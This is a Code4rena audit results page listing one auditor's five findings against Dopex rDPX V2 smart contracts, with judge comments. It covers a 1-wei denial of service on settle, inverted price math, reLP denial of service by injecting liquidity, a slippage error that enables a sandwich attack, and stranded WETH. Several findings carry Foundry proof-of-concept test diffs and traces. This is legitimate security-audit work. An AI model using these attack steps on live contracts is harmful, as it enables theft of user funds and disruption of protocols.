Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 13/189
Findings: 5
Award: $1,423.83
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
Enforced equality checks can always be broken. The attacker can always preemptively transfer 1 wei token to DOS PerpetualAtlanticVault.settle.
diff --git a/tests/perp-vault/Integration.t.sol b/tests/perp-vault/Integration.t.sol index 3bfed98..0632ad8 100644 --- a/tests/perp-vault/Integration.t.sol +++ b/tests/perp-vault/Integration.t.sol @@ -129,6 +129,15 @@ contract Integration is ERC721Holder, Setup { // Cannot settle if not ITM priceOracle.updateRdpxPrice(0.010 gwei); + + // DOS + address attacker = makeAddr("Attacker"); + deal(address(weth), attacker, 1 wei); + vm.startPrank(attacker); + weth.transfer(address(vaultLp), 1 wei); + + vm.startPrank(address(this), address(this)); + vm.expectRevert("Not enough collateral was sent out"); (uint256 ethAmount, uint256 rdpxAmount) = vault.settle(tokenIds); vm.stopPrank();
Foundry
Use the inequality sign instead of strict equality
DoS
#0 - c4-pre-sort
2023-09-09T06:40:21Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:09Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T20:01:54Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-10-21T07:26:28Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-10-21T07:26:28Z
GalloDaSballo changed the severity to 3 (High Risk)
#5 - c4-judge
2023-10-21T07:26:28Z
GalloDaSballo changed the severity to 3 (High Risk)
#6 - c4-judge
2023-10-21T07:26:28Z
GalloDaSballo changed the severity to 3 (High Risk)
#7 - c4-judge
2023-10-21T07:26:29Z
GalloDaSballo changed the severity to 3 (High Risk)
🌟 Selected for report: LokiThe5th
Also found by: 0xPsuedoPandit, 0xTiwa, 0xnev, 0xvj, Evo, Jiamin, Juntao, QiuhaoLi, T1MOH, Udsen, circlelooper, crunch, eeshenggoh, gjaldon, hals, josephdara, kutugu, minhtrng, niki, umarkhatab_465
96.3292 USDC - $96.33
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L669 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L605
rdpxRequiredInWeth / rdpxAmountInWeth calculation should use division instead of multiplication.
uint256 rdpxRequiredInWeth = (_rdpxRequired * getRdpxPrice()) / 1e8; uint256 rdpxAmountInWeth = (_rdpxAmount * getRdpxPrice()) / 1e8; /** * @notice Returns the price of rDPX against ETH * @dev Price is in 1e8 Precision * @return rdpxPriceInEth rDPX price in ETH **/ function getRdpxPrice() public view returns (uint256) { return IRdpxEthOracle(pricingOracleAddresses.rdpxPriceOracle) .getRdpxPriceInEth(); }
getRdpxPrice returns the rDPX/WETH price. Calculating the rDPX quantity corresponding to the WETH quantity should be rDPXAmount * 1e8 / getRdpxPrice()
instead of _rdpxAmount * getRdpxPrice() / 1e8
.
Errors in calculations result in meaningless bondAmount result and disrupt internal accounting systems.
During the transfer, the wrong rdpxAmountInWeth will be calculated again.
Manual review
Use the correct calculation formula
Math
#0 - c4-pre-sort
2023-09-09T16:42:46Z
bytes032 marked the issue as duplicate of #549
#1 - c4-pre-sort
2023-09-12T05:22:31Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T18:28:00Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-10-20T18:28:12Z
GalloDaSballo changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-10-20T18:28:21Z
GalloDaSballo changed the severity to 3 (High Risk)
🌟 Selected for report: deadrxsezzz
Also found by: 0xDING99YA, 0xMango, QiuhaoLi, kutugu, pep7siup, said
1263.2349 USDC - $1,263.23
ReLPContract.reLP uses the state of the uniswap pool instead of internal state when calculating lpToRemove, which is wrong. Users may directly inject funds into the pool to make the market, or malicious users may frontrun to inject funds, which may lead to reLP DOS.
(uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves( addresses.ammFactory, tokenASorted, tokenBSorted ); // get tokenA reserves tokenAInfo.tokenAReserve = IRdpxReserve(addresses.tokenAReserve) .rdpxReserve(); // rdpx reserves tokenAInfo.tokenALpReserve = addresses.tokenA == tokenASorted ? reserveA : reserveB; uint256 baseReLpRatio = (reLPFactor * Math.sqrt(tokenAInfo.tokenAReserve) * 1e2) / (Math.sqrt(1e18)); // 1e6 precision uint256 tokenAToRemove = ((((_amount * 4) * 1e18) / tokenAInfo.tokenAReserve) * tokenAInfo.tokenALpReserve * baseReLpRatio) / (1e18 * DEFAULT_PRECISION * 1e2); uint256 totalLpSupply = IUniswapV2Pair(addresses.pair).totalSupply(); uint256 lpToRemove = (tokenAToRemove * totalLpSupply) / tokenAInfo.tokenALpReserve;
Analyzing from a mathematical formula, it is assumed that users directly add and double the liquidity to the pool.
The reserveA
and reserveB
(tokenALpReserve
) will be doubled, tokenAReserve
remains unchanged,baseReLpRatio
remains unchanged, tokenAToRemove
will be doubled, and totalLpSupply
will be doubled, so lpToRemove
will be doubled.
That is, if the user directly injects funds into the pool, the calculated lpToRemove
will become larger. When lpToRemove
is greater than the lp actually owned by amo, the reLP execution will revert. Below is the POC used for testing:
diff --git a/tests/rdpxV2-core/Periphery.t.sol b/tests/rdpxV2-core/Periphery.t.sol index aed7de4..ff2e285 100644 --- a/tests/rdpxV2-core/Periphery.t.sol +++ b/tests/rdpxV2-core/Periphery.t.sol @@ -7,8 +7,8 @@ import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721H import { Setup } from "./Setup.t.sol"; // Contracts -import { UniV2LiquidityAMO } from "contracts/amo/UniV2LiquidityAMO.sol"; -import { UniV3LiquidityAMO } from "contracts/amo/UniV3LiquidityAMO.sol"; +import { IUniswapV2Router, UniV2LiquidityAMO } from "contracts/amo/UniV2LiquidityAmo.sol"; +import { UniV3LiquidityAMO } from "contracts/amo/UniV3LiquidityAmo.sol"; // Interfaces import { IUniswapV3Factory } from "contracts/uniswap_V3/IUniswapV3Factory.sol"; @@ -49,6 +49,19 @@ contract Periphery is ERC721Holder, Setup { rdpxV2Core.setIsreLP(true); + // @audit 1. Users are optimistic about the trading volume of this pool, and directly inject funds into the pool for market + // @audit 2. Malicious users intentionally inject funds and DOS bond + // Current pool state: 1e22 rdpx / 2e21 weth + address alice = makeAddr("Alice"); + vm.startPrank(alice); + deal(address(rdpx), alice, 1e22); + deal(address(weth), alice, 2e21); + rdpx.approve(address(router), type(uint256).max); + weth.approve(address(router), type(uint256).max); + IUniswapV2Router(router).addLiquidity(address(rdpx), address(weth), 1e22, 2e21, 0, 0, alice, block.timestamp); + vm.stopPrank(); + + vm.expectRevert(); rdpxV2Core.bond(1 * 1e18, 0, address(this)); uint256 lpBalance2 = pair.balanceOf(address(uniV2LiquidityAMO)); uint256 rdpxBalance2 = rdpx.balanceOf(address(rdpxV2Core)); @@ -56,10 +69,10 @@ contract Periphery is ERC721Holder, Setup { uint256 reLpRdpxBalance = rdpx.balanceOf(address(reLpContract)); uint256 reLpLpBalance = pair.balanceOf(address(reLpContract)); - assertEq(lpBalance2, 1422170988183415261); - assertEq(rdpxBalance2, 53886041379169834724); - assertEq(reLpRdpxBalance, 0); - assertEq(reLpLpBalance, 0); + // assertEq(lpBalance2, 1422170988183415261); + // assertEq(rdpxBalance2, 53886041379169834724); + // assertEq(reLpRdpxBalance, 0); + // assertEq(reLpLpBalance, 0); } function testV2Amo() public {
Foundry
The contract should maintain the state of lp internally instead of reading the pool directly
DoS
#0 - c4-pre-sort
2023-09-10T10:40:44Z
bytes032 marked the issue as duplicate of #905
#1 - c4-pre-sort
2023-09-11T15:59:06Z
bytes032 marked the issue as sufficient quality report
#2 - c4-pre-sort
2023-09-15T06:09:13Z
bytes032 marked the issue as duplicate of #1290
#3 - c4-pre-sort
2023-09-15T06:09:56Z
bytes032 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-09-15T06:10:22Z
bytes032 marked the issue as duplicate of #1172
#5 - c4-judge
2023-10-13T11:29:34Z
GalloDaSballo marked the issue as duplicate of #143
#6 - c4-judge
2023-10-20T20:00:48Z
GalloDaSballo marked the issue as satisfactory
#7 - c4-judge
2023-10-21T07:57:29Z
GalloDaSballo changed the severity to 3 (High Risk)
🌟 Selected for report: bin2chen
Also found by: 0Kage, 0xDING99YA, QiuhaoLi, Toshii, Yanchuan, carrotsmuggler, deadrxsezzz, ether_sky, flacko, gjaldon, kutugu, mert_eren, pep7siup, qpzm, said, sces60107, tapir, ubermensch
39.433 USDC - $39.43
ReLPContract.reLP swapExactTokensForTokens slippage caculation error, which allows malicious attackers to steal large amounts of rDPX with a sandwich attack.
// get rdpx price tokenAInfo.tokenAPrice = IRdpxEthOracle(addresses.rdpxOracle) .getRdpxPriceInEth(); // @audit The calculation here is correct. Using tokenA to calculate tokenB requires multiplication. uint256 mintokenBAmount = ((tokenAToRemove * tokenAInfo.tokenAPrice) / 1e8) - ((tokenAToRemove * tokenAInfo.tokenAPrice) * liquiditySlippageTolerance) / 1e16; // calculate min amount of tokenA to be received // @audit The calculation here is wrong. Using tokenB to calculate tokenA requires division. mintokenAAmount = (((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8) - (((amountB / 2) * tokenAInfo.tokenAPrice * slippageTolerance) / 1e16); uint256 tokenAAmountOut = IUniswapV2Router(addresses.ammRouter) .swapExactTokensForTokens( amountB / 2, mintokenAAmount, path, address(this), block.timestamp + 10 )[path.length - 1];
The specific reasons have been explained in the code comments above. For specific POC we can run known test code:
forge test --match-test testReLpContract -vvvv
You can find obvious error logs in the running results:
│ │ ├─ [324] MockRdpxEthPriceOracle::getRdpxPriceInEth() [staticcall] │ │ │ └─ ← 20000000 [2e7] │ │ ├─ [26705] 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506::swapExactTokensForTokens(362643377803882543 [3.626e17], 72166032182972626 [7.216e16], [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0x2e234DAe75C793f67A35089C9d99245E1C58470b], ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 1662864926 [1.662e9]) │ │ │ ├─ [517] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::getReserves() [staticcall] │ │ │ │ └─ ← 0x00000000000000000000000000000000000000000000021df5a4816dc6fc691c00000000000000000000000000000000000000000000006c7a7fb552d0760a4100000000000000000000000000000000000000000000000000000000631d4e14 │ │ │ ├─ [3801] MockToken::transferFrom(ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 362643377803882543 [3.626e17]) │ │ │ │ ├─ emit Transfer(from: ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, value: 362643377803882543 [3.626e17]) │ │ │ │ └─ ← true │ │ │ ├─ [14017] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::swap(1806007704320917659 [1.806e18], 0, ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 0x) │ │ │ │ ├─ [3315] MockToken::transfer(ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 1806007704320917659 [1.806e18]) │ │ │ │ │ ├─ emit Transfer(from: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, to: ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 1806007704320917659 [1.806e18]) │ │ │ │ │ └─ ← true │ │ │ │ ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall] │ │ │ │ │ └─ ← 9995582950916509247617 [9.995e21] │ │ │ │ ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall] │ │ │ │ │ └─ ← 2001437976500394261104 [2.001e21] │ │ │ │ ├─ emit Sync(: 9995582950916509247617 [9.995e21], : 2001437976500394261104 [2.001e21]) │ │ │ │ ├─ emit Swap(param0: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, param1: 0, param2: 362643377803882543 [3.626e17], param3: 1806007704320917659 [1.806e18], param4: 0, param5: ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) │ │ │ │ └─ ← () │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000005085e3b1225f02f00000000000000000000000000000000000000000000000019103a703daac09b
tokenAPrice = 2e7, amountB / 2 = 3.626e17, swap result = 1.806e18 wrong mintokenAAmount = amountB / 2 * tokenAPrice = 7.216e16 correct mintokenAAmount = amountB / 2 / tokenAPrice = 1.813e18 Maximum capital loss up to 96% due to slippage calculation error
The above are the specific reasons for the vulnerability, and the specific utilization method is a very common sandwich attack:
Manual review
Use correct slippage calculations
Math
#0 - c4-pre-sort
2023-09-10T10:05:38Z
bytes032 marked the issue as duplicate of #1805
#1 - c4-pre-sort
2023-09-11T07:05:56Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-16T08:47:53Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-20T09:23:59Z
GalloDaSballo marked the issue as satisfactory
#4 - c4-judge
2023-10-20T09:24:18Z
GalloDaSballo marked the issue as selected for report
#5 - c4-judge
2023-10-20T09:28:19Z
GalloDaSballo marked issue #285 as primary and marked this issue as a duplicate of 285
🌟 Selected for report: degensec
Also found by: 0x3b, 0xnev, HChang26, KmanOfficial, QiuhaoLi, T1MOH, WoolCentaur, Yanchuan, ayden, bart1e, jasonxiale, kutugu, mert_eren, nirlin, peakbolt, peanuts, pep7siup, qpzm, tapir, ubermensch, wintermute
24.8267 USDC - $24.83
addLiquidity will not use up all funds, and the remaining funds will remain in the contract and cannot be withdrawn.
(, , uint256 lp) = IUniswapV2Router(addresses.ammRouter).addLiquidity( addresses.tokenA, addresses.tokenB, tokenAAmountOut, amountB / 2, 0, 0, address(this), block.timestamp + 10 ); // transfer the lp to the amo IERC20WithBurn(addresses.pair).safeTransfer(addresses.amo, lp); IUniV2LiquidityAmo(addresses.amo).sync(); // transfer rdpx to rdpxV2Core IERC20WithBurn(addresses.tokenA).safeTransfer( addresses.rdpxV2Core, IERC20WithBurn(addresses.tokenA).balanceOf(address(this)) ); IRdpxV2Core(addresses.rdpxV2Core).sync();
ReLPContract will transfer the remaining tokenA to rdpxV2Core, but the remaining tokenB will remain in the contract. The contract does not provide a withdraw method, and the tokenB used for the next reLP comes from removeLiquidity, which means that the remaining tokenB of addLiquidity can never be used. Specific POC can run tests:
forge test --match-test testReLpContract -vvvv │ │ ├─ [67389] 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506::addLiquidity(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1806007704320917659 [1.806e18], 362643377803882543 [3.626e17], 0, 0, ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 1662864926 [1.662e9]) │ │ │ ├─ [644] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::getPair(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall] │ │ │ │ └─ ← 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e │ │ │ ├─ [517] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::getReserves() [staticcall] │ │ │ │ └─ ← 0x00000000000000000000000000000000000000000000021ddc9446fd8951a88100000000000000000000000000000000000000000000006c7f88138de29bfa7000000000000000000000000000000000000000000000000000000000631d4e14 │ │ │ ├─ [3801] MockToken::transferFrom(ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 1806007704320917659 [1.806e18]) │ │ │ │ ├─ emit Transfer(from: ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, value: 1806007704320917659 [1.806e18]) │ │ │ │ └─ ← true │ │ │ ├─ [3801] MockToken::transferFrom(ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 361620970285555063 [3.616e17]) │ │ │ │ ├─ emit Transfer(from: ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, value: 361620970285555063 [3.616e17]) │ │ │ │ └─ ← true
The addLiquidity inputs 1.806e18 tokenA and 3.626e17 tokenB and uses 1.806e18 tokenA and 3.616e17 tokenB, left 0.01 tokenB, which means that 100 calls will result in a loss of 1 ether WETH(tokenB).
Manual review
Context
#0 - c4-pre-sort
2023-09-07T12:48:33Z
bytes032 marked the issue as duplicate of #1286
#1 - c4-pre-sort
2023-09-11T15:37:51Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-10T17:52:40Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-18T12:13:45Z
GalloDaSballo marked the issue as satisfactory